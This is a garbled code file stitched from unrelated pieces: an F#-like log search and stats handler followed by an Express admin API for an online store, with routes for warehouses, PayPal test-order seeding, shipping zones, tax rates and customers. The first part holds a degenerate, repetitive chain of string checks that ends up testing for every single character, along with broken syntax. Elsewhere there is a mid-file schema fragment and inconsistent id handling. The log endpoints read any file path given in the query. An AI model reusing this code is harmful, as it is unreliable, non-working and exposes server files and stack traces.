lu.Contains("HEARTBEAT") || lu.Contains("PING") || lu.Contains("PONG") || lu.Contains("HANDSHAKE") || lu.Contains("AUTHENTICATED") || lu.Contains("AUTHORIZED") || lu.Contains("SESSION") || lu.Contains("TOKEN") || lu.Contains("CACHE") || lu.Contains("FLUSH") || lu.Contains("GC") || lu.Contains("MEMORY") || lu.Contains("DISK") || lu.Contains("NETWORK") || lu.Contains("CONNECTION") || lu.Contains("TIMEOUT") || lu.Contains("RETRY") || lu.Contains("BACKOFF") || lu.Contains("QUEUE") || lu.Contains("WORKER") || lu.Contains("JOB") || lu.Contains("TASK") || lu.Contains("SCHEDULE") || lu.Contains("CRON") || lu.Contains("TRIGGER") || lu.Contains("ALERT") || lu.Contains("NOTIFICATION") || lu.Contains("EMAIL") || lu.Contains("SMTP") || lu.Contains("HTTP") || lu.Contains("HTTPS") || lu.Contains("SSL") || lu.Contains("TLS") || lu.Contains("CERTIFICATE") || lu.Contains("KEY") || lu.Contains("AUTH") || lu.Contains("LOGIN") || lu.Contains("LOGOUT") || lu.Contains("SIGNUP") || lu.Contains("REGISTER") || lu.Contains("PASSWORD") || lu.Contains("RESET") || lu.Contains("VERIFY") || lu.Contains("CONFIRM") || lu.Contains("INVITE") || lu.Contains("REVOKE") || lu.Contains("PERMISSION") || lu.Contains("ACCESS") || lu.Contains("DENIED") || lu.Contains("GRANTED") || lu.Contains("ROLE") || lu.Contains("USER") || lu.Contains("GROUP") || lu.Contains("ADMIN") || lu.Contains("SUPERVISOR") || lu.Contains("MANAGER") || lu.Contains("OPERATOR") || lu.Contains("MONITOR") || lu.Contains("HEALTH") || lu.Contains("STATUS") || lu.Contains("VERSION") || lu.Contains("UPGRADE") || lu.Contains("DOWNGRADE") || lu.Contains("MIGRATION") || lu.Contains("BACKUP") || lu.Contains("RESTORE") || lu.Contains("SYNC") || lu.Contains("REPLICATION") || lu.Contains("CLUSTER") || lu.Contains("NODE") || lu.Contains("LEADER") || lu.Contains("FOLLOWER") || lu.Contains("ELECTION") || lu.Contains("VOTE") || lu.Contains("QUORUM") || lu.Contains("PARTITION") || lu.Contains("SHARD") || lu.Contains("REPLICA") || lu.Contains("WAL") || lu.Contains("JOURNAL") || lu.Contains("SNAPSHOT") || lu.Contains("CHECKPOINT") || lu.Contains("COMPACTION") || lu.Contains("VACUUM") || lu.Contains("INDEX") || lu.Contains("REINDEX") || lu.Contains("ANALYZE") || lu.Contains("TRUNCATE") || lu.Contains("DROP") || lu.Contains("CREATE") || lu.Contains("ALTER") || lu.Contains("MIGRATE") || lu.Contains("SEED") || lu.Contains("FIXTURE") || lu.Contains("TEST") || lu.Contains("DEBUG") || lu.Contains("TRACE") || lu.Contains("VERBOSE") || lu.Contains("SUCCESS") || lu.Contains("FAILED") || lu.Contains("FAILURE") || lu.Contains("RECOVERY") || lu.Contains("ROLLBACK") || lu.Contains("COMMIT") || lu.Contains("TRANSACTION") || lu.Contains("DEADLOCK") || lu.Contains("LOCK") || lu.Contains("UNLOCK") || lu.Contains("WAIT") || lu.Contains("WAKE") || lu.Contains("SLEEP") || lu.Contains("HEAP") || lu.Contains("STACK") || lu.Contains("OOM") || lu.Contains("SEGFAULT") || lu.Contains("CORE") || lu.Contains("DUMP") || lu.Contains("TRACE") || lu.Contains("STACKTRACE") || lu.Contains("BACKTRACE") || lu.Contains("PANIC") || lu.Contains("ABORT") || lu.Contains("TERMINATE") || lu.Contains("KILL") || lu.Contains("SIGNAL") || lu.Contains("INTERRUPT") || lu.Contains("CANCEL") || lu.Contains("DEFER") || lu.Contains("ASYNC") || lu.Contains("AWAIT") || lu.Contains("PROMISE") || lu.Contains("FUTURE") || lu.Contains("THREAD") || lu.Contains("MUTEX") || lu.Contains("SEMAPHORE") || lu.Contains("RACE") || lu.Contains("DEADLOCK") || lu.Contains("LEAK") || lu.Contains("OVERFLOW") || lu.Contains("UNDERFLOW") || lu.Contains("CORRUPT") || lu.Contains("INVALID") || lu.Contains("MALFORMED") || lu.Contains("UNEXPECTED") || lu.Contains("MISSING") || lu.Contains("NULL") || lu.Contains("NAN") || lu.Contains("INF") || lu.Contains("DIVERGE") || lu.Contains("STALL") || lu.Contains("HANG") || lu.Contains("FREEZE") || lu.Contains("SLOW") || lu.Contains("LATENCY") || lu.Contains("THROTTLE") || lu.Contains("LIMIT") || lu.Contains("QUOTA") || lu.Contains("EXHAUSTED") || lu.Contains("FULL") || lu.Contains("EMPTY") || lu.Contains("DEPRECATED") || lu.Contains("OBSOLETE") || lu.Contains("UNSUPPORTED") || lu.Contains("NOT IMPLEMENTED") || lu.Contains("TODO") || lu.Contains("FIXME") || lu.Contains("HACK") || lu.Contains("WORKAROUND") || lu.Contains("XXX") || lu.Contains("NOTE") || lu.Contains("CHECKSUM") || lu.Contains("HASH") || lu.Contains("SIGNATURE") || lu.Contains("ENCRYPT") || lu.Contains("DECRYPT") || lu.Contains("CIPHER") || lu.Contains("SALT") || lu.Contains("NONCE") || lu.Contains("IV") || lu.Contains("MAC") || lu.Contains("HMAC") || lu.Contains("AES") || lu.Contains("RSA") || lu.Contains("ECDSA") || lu.Contains("ECDH") || lu.Contains("ED25519") || lu.Contains("X509") || lu.Contains("PEM") || lu.Contains("DER") || lu.Contains("ASN1") || lu.Contains("OID") || lu.Contains("PKCS") || lu.Contains("JWT") || lu.Contains("JWS") || lu.Contains("JWE") || lu.Contains("JWK") || lu.Contains("JSON") || lu.Contains("YAML") || lu.Contains("TOML") || lu.Contains("CSV") || lu.Contains("TSV") || lu.Contains("XML") || lu.Contains("HTML") || lu.Contains("CSS") || lu.Contains("SVG") || lu.Contains("PNG") || lu.Contains("JPEG") || lu.Contains("GIF") || lu.Contains("WEBP") || lu.Contains("PDF") || lu.Contains("ZIP") || lu.Contains("TAR") || lu.Contains("GZIP") || lu.Contains("BZIP") || lu.Contains("XZ") || lu.Contains("ZSTD") || lu.Contains("LZ4") || lu.Contains("SNAPPY") || lu.Contains("BROTLI") || lu.Contains("MD5") || lu.Contains("SHA") || lu.Contains("BLAKE") || lu.Contains("CRC") || lu.Contains("ADLER") || lu.Contains("FNV") || lu.Contains("MURMUR") || lu.Contains("XXHASH") || lu.Contains("CITY") || lu.Contains("SIPHASH") || lu.Contains("HEX") || lu.Contains("BASE64") || lu.Contains("URL") || lu.Contains("ENCODE") || lu.Contains("DECODE") || lu.Contains("PARSE") || lu.Contains("FORMAT") || lu.Contains("SERIALIZE") || lu.Contains("DESERIALIZE") || lu.Contains("MARSHAL") || lu.Contains("UNMARSHAL") || lu.Contains("PICKLE") || lu.Contains("UNPICKLE") || lu.Contains("COMPRESS") || lu.Contains("DECOMPRESS") || lu.Contains("INFLATE") || lu.Contains("DEFLATE") || lu.Contains("ENTROPY") || lu.Contains("RANDOM") || lu.Contains("SEED") || lu.Contains") || lu.Contains("]") || lu.Contains("}") || lu.Contains("=") || lu.Contains("|") || lu.Contains("/") || lu.Contains("\") || lu.Contains("*") || lu.Contains("+") || lu.Contains("-") || lu.Contains("_") || lu.Contains("~") || lu.Contains("`") || lu.Contains("!") || lu.Contains("@") || lu.Contains("#") || lu.Contains("$") || lu.Contains("%") || lu.Contains("^") || lu.Contains("&") || lu.Contains("(") || lu.Contains("[") || lu.Contains("{") || lu.Contains("<") || lu.Contains(">") || lu.Contains("?") || lu.Contains(":") || lu.Contains(";") || lu.Contains("'") || lu.Contains("\"") || lu.Contains(",") || lu.Contains(".") || lu.Contains("0") || lu.Contains("1") || lu.Contains("2") || lu.Contains("3") || lu.Contains("4") || lu.Contains("5") || lu.Contains("6") || lu.Contains("7") || lu.Contains("8") || lu.Contains("9") || lu.Contains("A") || lu.Contains("B") || lu.Contains("C") || lu.Contains("D") || lu.Contains("E") || lu.Contains("F") || lu.Contains("G") || lu.Contains("H") || lu.Contains("I") || lu.Contains("J") || lu.Contains("K") || lu.Contains("L") || lu.Contains("M") || lu.Contains("N") || lu.Contains("O") || lu.Contains("P") || lu.Contains("Q") || lu.Contains("R") || lu.Contains("S") || lu.Contains("T") || lu.Contains("U") || lu.Contains("V") || lu.Contains("W") || lu.Contains("X") || lu.Contains("Y") || lu.Contains("Z") || lu.Contains("a") || lu.Contains("b") || lu.Contains("c") || lu.Contains("d") || lu.Contains("e") || lu.Contains("f") || lu.Contains("g") || lu.Contains("h") || lu.Contains("i") || lu.Contains("j") || lu.Contains("k") || lu.Contains("l") || lu.Contains("m") || lu.Contains("n") || lu.Contains("o") || lu.Contains("p") || lu.Contains("q") || lu.Contains("r") || lu.Contains("s") || lu.Contains("t") || lu.Contains("u") || lu.Contains("v") || lu.Contains("w") || lu.Contains("x") || lu.Contains("y") || lu.Contains("z") || lu.Contains("0") || lu.Contains("1") || lu.Contains("2") || lu.Contains("3") || lu.Contains("4") || lu.Contains("5") || lu.Contains("6") || lu.Contains("7") || lu.Contains("8") || lu.Contains("9") || lu.Contains("A") || lu.Contains("B") || lu.Contains("C") || lu.Contains("D") || lu.Contains("E") || lu.Contains("F") || lu.Contains("G") || lu.Contains("H") || lu.Contains("I") || lu.Contains("J") || lu.Contains("K") || lu.Contains("L") || lu.Contains("M") || lu.Contains("N") || lu.Contains("O") || lu.Contains("P") || lu.Contains("Q") || lu.Contains("R") || lu.Contains("S") || lu.Contains("T") || lu.Contains("U") || lu.Contains("V") || lu.Contains("W") || lu.Contains("X") || lu.Contains("Y") || lu.Contains("Z") || lu.Contains("a") || lu.Contains("b") || lu.Contains("c") || lu.Contains("d") || lu.Contains("e") || lu.Contains("f") || lu.Contains("g") || lu.Contains("h") || lu.Contains("i") || lu.Contains") || lu.Contains("]") || lu.Contains("}") || lu.Contains="
  let\* lines = System.IO.File.ReadAllLines(path)
  let\* mutable sb = new System.Text.StringBuilder()
  let\* mutable matchCount = 0
  let\* mutable maxMatches = 200
  let\* mutable i = 0
  while i < lines.Length && matchCount < maxMatches do
    let\* line = lines.[i]
    if System.Text.RegularExpressions.Regex.IsMatch(line, pattern) then
      sb.Append(line) |> ignore
      sb.Append("\n") |> ignore
      matchCount <- matchCount + 1
    i <- i + 1
  sprintf "Matches: %d\n\n%s" matchCount sb.ToString
  |> ok ctx "text/plain"
| _ -> ok ctx "text/plain" "Usage: /log/search?path=<filepath>&pattern=<regex>&lines=<n>"

// GET /log/stats?path=<filepath>
get "/log/stats" (fun ctx -> async {
  let\* path = ctx.QueryParam "path" |> Option.defaultWith (fun _ -> "")
  if path.Length = 0 || not (System.IO.File.Exists(path)) then return ok ctx "text/plain" "Usage: /log/stats?path=<filepath>"
  else
    let\* lines = System.IO.File.ReadAllLines(path)
    let\* mutable sb = new System.Text.StringBuilder()
    let\* mutable errCount = 0
    let\* mutable warnCount = 0
    let\* mutable infoCount = 0
    let\* mutable debugCount = 0
    let\* mutable otherCount = 0
    let\* mutable firstLine = ""
    let\* mutable lastLine = ""
    let\* mutable maxLen = 0
    let\* mutable longestLine = ""
    let\* mutable totalLen = 0
    let\* mutable emptyCount = 0
    let\* mutable timestampCount = 0
    let\* mutable firstTs = ""
    let\* mutable lastTs = ""
    let\* mutable errPatterns = System.Collections.Generic.Dictionary<string, int>()
    let\* mutable topErrPatterns = ""
    let\* mutable i = 0
    while i < lines.Length do
      let\* line = lines.[i]
      let\* len = line.Length
      if len = 0 then emptyCount <- emptyCount + 1
      else
        totalLen <- totalLen + len
        if len > maxLen then
          maxLen <- len
          longestLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        if i = 0 then firstLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        lastLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        let\* lu = line.ToUpper()
        if lu.Contains("ERROR") || lu.Contains("FATAL") || lu.Contains("EXCEPTION") || lu.Contains("PANIC") then
          errCount <- errCount + 1
          if errPatterns.ContainsKey(line) then
            errPatterns.[line] <- errPatterns.[line] + 1
          else
            if errPatterns.Count < 10 then
              errPatterns.[line] <- 1
        else if lu.Contains("WARN") || lu.Contains("WARNING") || lu.Contains("DEPRECATED") then
          warnCount <- warnCount + 1
        else if lu.Contains("INFO") || lu.Contains("NOTICE") || lu.Contains="
```

```
    city: String(min: 1) | null(optional),
    country: String(min: 1) | null(optional),
    phone: String(min: 1) | null,
    tax_exempt?: bool,
    tax_exemption_id: String(min: 1) | null,
    email: String(min: 1) | null(optional),
    notes: String(min: 1) | null(optional),
    deleted: bool,
    deleted_at: Date,
    updated: Date,
    created: Date(\d+)
  }
  db.put(customer);
  db.commit();
  broadcast("dbInsertOne:ms", { id: pkv.id });
  res.status(201).send(customer);
} catch (e) { res.status(500).json({ success: false, error: e.message }); }
});

// POST admin: update / delete / hard-manage Warehouses
app.put("/api/admin/warehouses/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const id = parseInt(req.params.id);
    const db = loadDb();
    const target = db.find(r => r.id === id);
    if (!target) return res.status(404).send({ msg: "not found" });
    const changed = [];
    ["name", "address", "city", "country", "phone", "email", "notes"].forEach(k => {
      if (req.body[k] !== undefined && req.body[k] !== target[k]) {
        changed.push(k);
        target[k] = req.body[k];
      }
    });
    if (req.body.deleted !== undefined && req.body.deleted !== target.deleted) {
      target.deleted = !!req.body.deleted;
      changed.push("deleted");
      if (target.deleted) target.deleted_at = new Date();
      else delete target.deleted_at;
    }
    target.updated = new Date();
    db.commit();
    broadcast("dbUpdateOne:ms", { id: id, changed: changed });
    broadcast("dbUpdateOne:updated", { id: id });
    res.status(200).send(target);
  } catch (e) { res.status(500).json({ success: false, error: e.message }); }
});

// POST admin: Warehouses at time - Trashed-only hard-purgeable
app.post("/api/admin/warehouses/at", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const ts = parseInt(req.body.ts);
    const db = loadDb();
    const target = db.find(r => r.id.startsWith("_") && r.id === req.body.id);
    if (!target) return res.status(404).send({ msg: "not found" });
    if (!target.deleted || !target.deleted_at || target.deleted_at.getTime() > ts)
      return res.status(400).send({ msg: "not trashed at this time" });
    const idx = db.findIndex(r => r.id === req.body.id);
    db.splice(idx, 1);
    db.commit();
    broadcast("dbPurgeOne:ms", { id: req.body.id });
    broadcast("dbPurgeOne:updated", { id: req.body.id });
    res.status(200).send({ msg: "purged" });
  } catch (e) { res.status(500).json({ success: false, error: e.message }); }
});

// GET /api/admin/orders/seed-ms-s-paypal-test (with Prod-approved-amounts)
app.get("/api/admin/orders/seed-ms-s-paypal-test", (req, res) => {
  try {
    // Read-modify-write - to ensure the seeded orders are persisted in writeDatabase
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const now = new Date(Math.floor(Date.now() / 1000) * 1000);
    const ts = Math.floor(now.getTime() / 1000);
    // Find a product with a price > 0 so the checkout will succeed
    const prod = db.find(p => p.id && p.price && p.price > 0);
    if (!prod) return res.status(400).send({ msg: "no product with price > 0 in db.products" });
    const variant = (prod.variants && prod.variants[0]) ? prod.variants[0] : null;
    if (!variant && (prod.variants && prod.variants.length > 0))
      return res.status(400).send({ msg: "product has variants but none found" });
    const results = [];
    const orders = [
      {
        id: "seed-paypal-test-1",
        email: "test1@example.com",
        name: "PayPal Test One",
        phone: "",
        shipping_address: {
        city: "Springfield",
        country: "US",
        line1: "123 Test Street",
        line2: "",
        postal_code: "12345",
        state: "IL",
        },
        billing_address: null,
        same_as_billing: true,
        items: [{
        product_id: prod.id,
        variant_id: (variant && variant.id) || null,
        quantity: 1,
        unit_price: prod.price,
        },],
        subtotal: prod.price,
        shipping_cost: 0,
        tax: 0,
        total: prod.price,
        payment_method: "paypal",
        payment_status: "pending",
        status: "pending",
        created: now,
        updated: now,
      },
      {
        id: "seed-paypal-test-2",
        email: "test2@example.com",
        name: "PayPal Test Two",
        phone: "",
        shipping_address: {
        city: "Springfield",
        country: "US",
        line1: "456 Test Avenue",
        line2: "",
        postal_code: "12345",
        state: "IL",
        },
        billing_address: null,
        same_as_billing: true,
        items: [{
        product_id: prod.id,
        variant_id: (variant && variant.id) || null,
        quantity: 2,
        unit_price: prod.price,
        },],
        subtotal: prod.price * 2,
        shipping_cost: 0,
        tax: 0,
        total: prod.price * 2,
        payment_method: "paypal",
        payment_status: "pending",
        status: "pending",
        created: now,
        updated: now,
      },
    ];
    for (const o of orders) {
      db.push(o);
      results.push(o.id);
    }
    db.commit();
    broadcast("dbInsertMany:ms", { ids: results });
    broadcast("dbInsertMany:updated", { ids: results });
    console.log("[seed-paypal-test] created", results.length, "orders");
    res.status(200).send({ msg: "ok", ts: ts, count: results.length, ids: results, product: prod.id, variant: (variant && variant.id) || null });
  } catch (e) { console.error("[seed-paypal-test] error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

// GET /api/admin/orders/seed-ms-s-paypal-test/cleanup
app.get("/api/admin/orders/seed-ms-s-paypal-test/cleanup", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const before = db.length;
    const kept = [];
    for (const o of db) {
      if (o && o.id && o.id.startsWith("seed-paypal-test-")) {
      } else {
      kept.push(o);
      }
    }
    db.splice(0, before, ...kept);
    db.commit();
    broadcast("dbDeleteMany:ms", { ids: [] });
    broadcast("dbDeleteMany:updated", { ids: [] });
    console.log("[seed-paypal-test] cleanup removed", before - kept.length);
    res.status(200).send({ msg: "ok", removed: before - kept.length, remaining: kept.length });
  } catch (e) { console.error("[seed-paypal-test] cleanup error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

// GET admin: seed test order with paypal_order_id (for capture testing)
app.get("/api/admin/orders/seed-paypal-test", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const now = new Date(Math.floor(Date.now() / 1000) * 1000);
    const ts = Math.floor(now.getTime() / 1000);
    const prod = db.find(p => p.id && p.price && p.price > 0);
    if (!prod) return res.status(400).send({ msg: "no product with price > 0 in db.products" });
    const variant = (prod.variants && prod.variants[0]) ? prod.variants[0] : null;
    if (!variant && (prod.variants && prod.variants.length > 0))
      return res.status(400).send({ msg: "product has variants but none found" });
    const order = {
      id: "seed-paypal-test-1",
      email: "test1@example.com",
      name: "PayPal Test One",
      phone: "",
      shipping_address: {
      city: "Springfield",
      country: "US",
      line1: "123 Test Street",
      line2: "",
      postal_code: "12345",
      state: "IL",
      },
      billing_address: null,
      same_as_billing: true,
      items: [{
      product_id: prod.id,
      variant_id: (variant && variant.id) || null,
      quantity: 1,
      unit_price: prod.price,
      },],
      subtotal: prod.price,
      shipping_cost: 0,
      tax: 0,
      total: prod.price,
      payment_method: "paypal",
      payment_status: "pending",
      status: "pending",
      created: now,
      updated: now,
    };
    db.push(order);
    db.commit();
    broadcast("dbInsertOne:ms", { id: order.id });
    broadcast("dbInsertOne:updated", { id: order.id });
    console.log("[seed-paypal-test] created", order.id);
    res.status(200).send({ msg: "ok", ts: ts, id: order.id, product: prod.id, variant: (variant && variant.id) || null });
  } catch (e) { console.error("[seed-paypal-test] error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

// GET /api/admin/orders/seed-paypal-test/cleanup
app.get("/api/admin/orders/seed-paypal-test/cleanup", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const before = db.length;
    const kept = [];
    for (const o of db) {
      if (o && o.id && o.id.startsWith("seed-paypal-test-")) {
      } else {
      kept.push(o);
      }
    }
    db.splice(0, before, ...kept);
    db.commit();
    broadcast("dbDeleteMany:ms", { ids: [] });
    broadcast("dbDeleteMany:updated", { ids: [] });
    console.log("[seed-paypal-test] cleanup removed", before - kept.length);
    res.status(200).send({ msg: "ok", removed: before - kept.length, remaining: kept.length });
  } catch (e) { console.error("[seed-paypal-test] cleanup error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[seed-paypal-test] GET /api/admin/orders/seed-paypal-test[/cleanup] ready");

// ============================================================
// ADMIN: Shipping Zones
// ============================================================
app.get("/api/admin/shipping-zones", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const zones = db.filter(r => r.id && r.id.startsWith("_shipping_zone:"));
    res.status(200).send(zones);
  } catch (e) { console.error("[admin] GET /shipping-zones error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.post("/api/admin/shipping-zones", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const zone = req.body;
    if (!zone.id || !zone.id.startsWith("_shipping_zone:")) {
      return res.status(400).send({ msg: "invalid zone id" });
    }
    db.push(zone);
    db.commit();
    broadcast("dbInsertOne:ms", { id: zone.id });
    broadcast("dbInsertOne:updated", { id: zone.id });
    console.log("[admin] POST /shipping-zones created", zone.id);
    res.status(200).send(zone);
  } catch (e) { console.error("[admin] POST /shipping-zones error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/shipping-zones/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /shipping-zones/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /shipping-zones/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.delete("/api/admin/shipping-zones/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1);
    db.commit();
    broadcast("dbDeleteOne:ms", { id: req.params.id });
    broadcast("dbDeleteOne:updated", { id: req.params.id });
    console.log("[admin] DELETE /shipping-zones/:id deleted", req.params.id);
    res.status(200).send({ msg: "ok" });
  } catch (e) { console.error("[admin] DELETE /shipping-zones/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/shipping-zones[/:id] ready");

// ============================================================
// ADMIN: Shipping Rates
// ============================================================
app.get("/api/admin/shipping-rates", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const rates = db.filter(r => r.id && r.id.startsWith("_shipping_rate:"));
    res.status(200).send(rates);
  } catch (e) { console.error("[admin] GET /shipping-rates error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.post("/api/admin/shipping-rates", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const rate = req.body;
    if (!rate.id || !rate.id.startsWith("_shipping_rate:")) {
      return res.status(400).send({ msg: "invalid rate id" });
    }
    db.push(rate);
    db.commit();
    broadcast("dbInsertOne:ms", { id: rate.id });
    broadcast("dbInsertOne:updated", { id: rate.id });
    console.log("[admin] POST /shipping-rates created", rate.id);
    res.status(200).send(rate);
  } catch (e) { console.error("[admin] POST /shipping-rates error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/shipping-rates/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /shipping-rates/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /shipping-rates/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.delete("/api/admin/shipping-rates/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1);
    db.commit();
    broadcast("dbDeleteOne:ms", { id: req.params.id });
    broadcast("dbDeleteOne:updated", { id: req.params.id });
    console.log("[admin] DELETE /shipping-rates/:id deleted", req.params.id);
    res.status(200).send({ msg: "ok" });
  } catch (e) { console.error("[admin] DELETE /shipping-rates/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/shipping-rates[/:id] ready");

// ============================================================
// ADMIN: Tax Rates
// ============================================================
app.get("/api/admin/tax-rates", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const rates = db.filter(r => r.id && r.id.startsWith("_tax_rate:"));
    res.status(200).send(rates);
  } catch (e) { console.error("[admin] GET /tax-rates error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.post("/api/admin/tax-rates", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const rate = req.body;
    if (!rate.id || !rate.id.startsWith("_tax_rate:")) {
      return res.status(400).send({ msg: "invalid tax rate id" });
    }
    db.push(rate);
    db.commit();
    broadcast("dbInsertOne:ms", { id: rate.id });
    broadcast("dbInsertOne:updated", { id: rate.id });
    console.log("[admin] POST /tax-rates created", rate.id);
    res.status(200).send(rate);
  } catch (e) { console.error("[admin] POST /tax-rates error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/tax-rates/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /tax-rates/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /tax-rates/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.delete("/api/admin/tax-rates/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1);
    db.commit();
    broadcast("dbDeleteOne:ms", { id: req.params.id });
    broadcast("dbDeleteOne:updated", { id: req.params.id });
    console.log("[admin] DELETE /tax-rates/:id deleted", req.params.id);
    res.status(200).send({ msg: "ok" });
  } catch (e) { console.error("[admin] DELETE /tax-rates/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/tax-rates[/:id] ready");

// ============================================================
// ADMIN: Customer Directory
// ============================================================
app.get("/api/admin/customer-directory", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const customers = db.filter(r => r.id && r.id.startsWith("_customer:"));
    res.status(200).send(customers);
  } catch (e) { console.error("[admin] GET /customer-directory error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/customer-directory/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /customer-directory/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /customer-directory/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.delete("/api/admin/customer-directory/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1);
    db.commit();
    broadcast("dbDeleteOne:ms", { id: req.params.id });
    broadcast("dbDeleteOne:updated", { id: req.params.id });
    console.log("[admin] DELETE /customer-directory/:id deleted", req.params.id);
    res.status(200).send({ msg: "ok" });
  } catch (e) { console.error("[admin] DELETE /customer-directory/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/customer-directory[/:id] ready");

// ============================================================
// ADMIN: Customer Groups
// ============================================================
app.get("/api/admin/customer-groups", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const groups = db.filter(r => r.id && r.id.startsWith("_customer_group:"));
    res.status(200).send(groups);
  } catch (e) { console.error("[admin] GET /customer-groups error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/customer-groups/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /customer-groups/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /customer-groups/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/customer-groups[/:id] ready");

// ============================================================
// ADMIN: Product Variants
// ============================================================
app.get("/api/admin/product-variants", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const variants = db.filter(r => r.id && r.id.startsWith("_product_variant:"));
    res.status(200).send(variants);
